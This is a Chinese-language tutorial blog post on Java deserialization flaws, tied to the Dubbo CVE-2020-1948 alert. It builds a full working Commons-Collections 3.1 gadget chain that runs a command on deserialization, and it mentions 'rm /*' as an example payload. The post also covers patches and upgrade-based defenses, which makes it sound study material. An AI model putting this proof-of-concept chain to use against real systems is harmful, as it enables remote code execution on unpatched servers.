内容简介::stuck_out_tongue_closed_eyes:
:stuck_out_tongue_closed_eyes:
前言
这周收到外部合作同事推送的一篇文章, 【漏洞通告】Apache Dubbo Provider默认反序列化远程代码执行漏洞(CVE-2020-1948)通告 。
按照文章披露的漏洞影响范围,可以说是当前所有的 Dubbo 的版本都有这个问题。
无独有偶,这周在 Github 自己的仓库上推送几行改动,不一会就收到 Github 安全提示,警告当前项目存在安全漏洞CVE-2018-10237。
可以看到这两个漏洞都是利用反序列化进行执行恶意代码,可能很多同学跟我当初一样,看到这个一脸懵逼。好端端的反序列化,怎么就能被恶意利用,用来执行的恶意代码?
这篇文章我们就来聊聊反序列化漏洞,了解一下黑客是如何利用这个漏洞进行攻击。
反序列化漏洞
在了解反序列化漏洞之前,首先我们学习一下两个基础知识。
Java 运行外部命令
Java 中有一个类 Runtime
,我们可以使用这个类执行执行一些外部命令。
下面例子中我们使用 Runtime
运行打开系统的计算器软件。
// 仅适用macos
Runtime.getRuntime().exec("open -a Calculator ");
有了这个类,恶意代码就可以执行外部命令,比如执行一把 rm /*
。
序列化/反序列化
如果经常使用 Dubbo,Java 序列化与反序列化应该不会陌生。
一个类通过实现 Serializable
接口,我们就可以将其序列化成二进制数据,进而存储在文件中,或者使用网络传输。
其他程序可以通过网络接收,或者读取文件的方式,读取序列化的数据,然后对其进行反序列化,从而反向得到相应的类的实例。
下面的例子我们将 App
的对象进行序列化,然后将数据保存到的文件中。后续再从文件中读取序列化数据,对其进行反序列化得到 App
类的对象实例。
public class App implements Serializable {
private String name;
private static final long serialVersionUID = 7683681352462061434L;
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
System.out.println("readObject name is "+name);
Runtime.getRuntime().exec("open -a Calculator");
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
App app = new App();
app.name = "程序通事";
FileOutputStream fos = new FileOutputStream("test.payload");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法将Unsafe对象写入object文件
os.writeObject(app);
os.close();
//从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("test.payload");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢复对象
App objectFromDisk = (App)ois.readObject();
System.out.println("main name is "+objectFromDisk.name);
ois.close();
}
执行结果:
readObject name is 程序通事
main name is 程序通事
并且成功打开了计算器程序。
当我们调用 ObjectInputStream#readObject
读取反序列化的数据,如果对象内实现了 readObject
方法,这个方法将会被调用。
源码如下:
反序列化漏洞执行条件
上面的例子中,我们在 readObject
方法内主动使用 Runtime
执行外部命令。但是正常的情况下,我们肯定不会在 readObject
写上述代码,除非是内鬼 ̄□ ̄||
如果可以找到一个对象,他的 readObject
方法可以执行任意代码,那么在反序列过程也会执行对应的代码。我们只要将满足上述条件的对象序列化之后发送给先相应 Java 程序,Java 程序读取之后,进行反序列化,就会执行指定的代码。
为了使反序列化漏洞成功执行需要满足以下条件:
-
Java 反序列化应用中需要 存在序列化使用的类 ,不然反序列化时将会抛出
ClassNotFoundException
异常。 -
Java 反序列化对象的
readObject
方法可以执行任何代码,没有任何验证或者限制。
引用一段网上的反序列化攻击流程,来源: https://xz.aliyun.com/t/7031
-
客户端构造payload(有效载荷),并进行一层层的封装,完成最后的exp(exploit-利用代码)
-
exp发送到服务端,进入一个服务端自主复写(也可能是也有组件复写)的readobject函数,它会反序列化恢复我们构造的exp去形成一个恶意的数据格式exp_1(剥去第一层)
-
这个恶意数据exp_1在接下来的处理流程(可能是在自主复写的readobject中、也可能是在外面的逻辑中),会执行一个exp_1这个恶意数据类的一个方法,在方法中会根据exp_1的内容进行函处理,从而一层层地剥去(或者说变形、解析)我们exp_1变成exp_2、exp_3......
-
最后在一个可执行任意命令的函数中执行最后的payload,完成远程代码执行。
Common-Collections
下面我们以 Common-Collections
的存在反序列化漏洞为例,来复现反序列化攻击流程。
首先我们在应用内引入 Common-Collections
依赖,这里需要注意,我们需要引入 3.2.2
版本之前,之后的版本这个漏洞已经被修复。
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
PS:下面的代码只有在 JDK7 环境下执行才能复现这个问题。
首先我们需要明确,我们做一系列目的就是为了让应用程序成功执行 Runtime.getRuntime().exec("open -a Calculator")
。
当然我们没办法让程序直接运行上述语句,我们需要借助其他类,间接执行。
Common-Collections
存在一个 Transformer
,可以将一个对象类型转为另一个对象类型,相当于 Java Stream
中的 map
函数。
Transformer
有几个实现类:
-
ConstantTransformer
-
InvokerTransformer
-
ChainedTransformer
其中 ConstantTransformer
用于将对象转为一个常量值,例如:
Transformer transformer = new ConstantTransformer("程序通事");
Object transform = transformer.transform("楼下小黑哥");
// 输出对象为 程序通事
System.out.println(transform);
InvokerTransformer
将会使用反射机制执行指定方法,例如:
Transformer transformer = new InvokerTransformer(
"append",
new Class[]{String.class},
new Object[]{"楼下小黑哥"}
);
StringBuilder input=new StringBuilder("程序通事-");
// 反射执行了 input.append("楼下小黑哥");
Object transform = transformer.transform(input);
// 程序通事-楼下小黑哥
System.out.println(transform);
ChainedTransformer
需要传入一个 Transformer[]
数组对象,使用责任链模式执行的内部 Transformer
,例如:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer(
"exec",
new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
Transformer chainTransformer = new ChainedTransformer(transformers);
chainTransformer.transform("任意对象值");
通过 ChainedTransformer
链式执行 ConstantTransformer
, InvokerTransformer
逻辑,最后我们成功的运行的 Runtime
语句。
不过上述的代码存在一些问题, Runtime
没有继承 Serializable
接口,我们无法将其进行序列化。
如果对其进行序列化程序将会抛出异常:
我们需要改造以上代码,使用 Runtime.class
经过一系列的反射执行:
String[] execArgs = new String[]{"open -a Calculator"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class}, execArgs),
};
刚接触这块的同学的应该已经看晕了吧,没关系,我将上面的代码翻译一下正常的反射代码一下:
((Runtime) Runtime.class.
getMethod("getRuntime", null).
invoke(null, null)).
exec("open -a Calculator");
TransformedMap
接下来我们需要找到相关类,可以自动调用 Transformer
内部方法。
Common-Collections
内有两个类将会调用 Transformer
:
-
TransformedMap
-
LazyMap
下面将会主要介绍 TransformedMap
触发方式, LazyMap
触发方式比较类似,感兴趣的同学可以研究这个开源库@ysoserial CommonsCollections1
。
Github 地址: https://github.com/frohoff/ysoserial
TransformedMap
可以用来对 Map 进行某种变换,底层原理实际上是使用传入的 Transformer
进行转换。
Transformer transformer = new ConstantTransformer("程序通事");
Map<String, String> testMap = new HashMap<>();
testMap.put("a", "A");
// 只对 value 进行转换
Map decorate = TransformedMap.decorate(testMap, null, transformer);
// put 方法将会触发调用 Transformer 内部方法
decorate.put("b", "B");
for (Object entry : decorate.entrySet()) {
Map.Entry temp = (Map.Entry) entry;
if (temp.getKey().equals("a")) {
// Map.Entry setValue 也会触发 Transformer 内部方法
temp.setValue("AAA");
}
}
System.out.println(decorate);
输出结果为:
{b=程序通事, a=程序通事}
AnnotationInvocationHandler
上文中我们知道了,只要调用 TransformedMap
的 put
方法,或者调用 Map.Entry
的 setValue
方法就可以触发我们设置的 ChainedTransformer
,从而触发 Runtime
执行外部命令。
现在我们就需要找到一个可序列化的类,这个类 正好
实现了 readObject
,且 正好
可以调用 Map put
的方法或者调用 Map.Entry
的 setValue
。
Java 中有一个类 sun.reflect.annotation.AnnotationInvocationHandler
,正好满足上述的条件。这个类构造函数可以设置一个 Map
变量,这下刚好可以把上面的 TransformedMap
设置进去。
不过不要高兴的太早,这个类没有 public 修饰符,默认只有同一个包才可以使用。
不过这点难度,跟上面一比,还真是轻松,我们可以通过反射获取从而获取这个类的实例。
示例代码如下:
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 随便使用一个注解
Object instance = ctor.newInstance(Target.class, exMap);
完整的序列化漏洞示例代码如下 :
String[] execArgs = new String[]{"open -a Calculator"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class}, execArgs),
};
//
Transformer transformerChain = new ChainedTransformer(transformers);
Map<String, String> tempMap = new HashMap<>();
// tempMap 不能为空
tempMap.put("value", "you");
Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 随便使用一个注解
Object instance = ctor.newInstance(Target.class, exMap);
File f = new File("test.payload");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(instance);
oos.flush();
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
// 触发代码执行
Object newObj = ois.readObject();
ois.close();
上面代码中需要注意, tempMap
需要一定不能为空,且 key
一定要是 value
。那可能有的同学为什么一定要这样设置?
tempMap
不能为空的原因是因为 readObject
方法内需要遍历内部 Map.Entry
.
至于第二个问题,别问,问就是玄学 ~好吧,我也没研究清楚--,有了解的小伙伴的 留言一下 。
最后总结一下这个反序列化漏洞代码执行链路如下:
Common-Collections 漏洞修复方式
在 JDK 8 中, AnnotationInvocationHandler
移除了 memberValue.setValue
的调用,从而使我们上面构造的 AnnotationInvocationHandler
+ TransformedMap
失效。
另外 Common-Collections
3.2.2 版本,对这些不安全的 Java 类序列化支持增加了开关,默认为关闭状态。
比如在 InvokerTransformer
类中重写 readObject
,增相关判断。如果没有开启不安全的类的序列化则会抛出UnsupportedOperationException异常
Dubbo 反序列化漏洞
Dubbo 反序列化漏洞原理与上面的类似,但是执行的代码攻击链与上面完全不一样,这里就不再复现的详细的实现的方式,感兴趣的可以看下面两篇文章:
https://blog.csdn.net/caiqiiqi/article/details/106934770
https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html
Dubbo 在 2020-06-22 日发布 2.7.7 版本,升级内容名其中包括了这个反序列化漏洞的修复。不过从其他人发布的文章来看,2.7.7 版本的修复方式,只是初步改善了问题,不过并没有根本上解决的这个问题。
感兴趣的同学可以看下这篇文章:
https://www.freebuf.com/mob/vuls/241975.html
防护措施
最后作为一名普通的开发者来说,我们自己来修复这种漏洞,实在不太现实。
术业有专攻,这种专业的事,我们就交给个高的人来顶。
我们需要做的事,就是了解的这些漏洞的一些基本原理,树立的一定意识。
其次我们需要了解一些基本的防护措施,做到一些基本的防御。
如果碰到这类问题,我们及时需要关注官方的新的修复版本,尽早升级,比如 Common-Collections
版本升级。
有些依赖 jar 包,升级还是方便,但是有些东西升级就比较麻烦了。就比如这次 Dubbo 来说,官方目前只放出的 Dubbo 2.7 版本的修复版本,如果我们需要升级,需要将版本直接升级到 Dubbo 2.7.7。
如果你目前已经在使用 Dubbo 2.7 版本,那么升级还是比较简单。但是如果还在使用 Dubbo 2.6 以下版本的,那么就麻烦了,没办法直接升级。
Dubbo 2.6 到 Dubbo 2.7 版本,其中升级太多了东西,就比如包名变更,影响真的比较大。
就拿我们系统来讲,我们目前这套系统,生产还在使用 JDK7。如果需要升级,我们首先需要升级 JDK。
其次,我们目前大部分应用还在使用 Dubbo 2.5.6 版本,这是真的,版本就是这么低。
这部分应用直接升级到 Dubbo 2.7 ,改动其实非常大。另外有些基础服务,自从第一次部署之后,就再也没有重新部署过。对于这类应用还需要仔细评估。
最后,我们有些应用,自己实现了 Dubbo SPI,由于 Dubbo 2.7 版本的包路径改动,这些 Dubbo SPI 相关包路径也需要做出一些改动。
所以直接升级到 Dubbo 2.7 版本的,对于一些老系统来讲,还真是一件比较麻烦的事。
如果真的需要升级,不建议一次性全部升级,建议采用逐步升级替换的方式,慢慢将整个系统的内 Dubbo 版本的升级。
所以这种情况下,短时间内防御措施,可参考玄武实验室给出的方案:
如果当前 Dubbo 部署云上,那其实比较简单,可以使用云厂商的提供的相关流量监控产品,提前一步阻止漏洞的利用。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。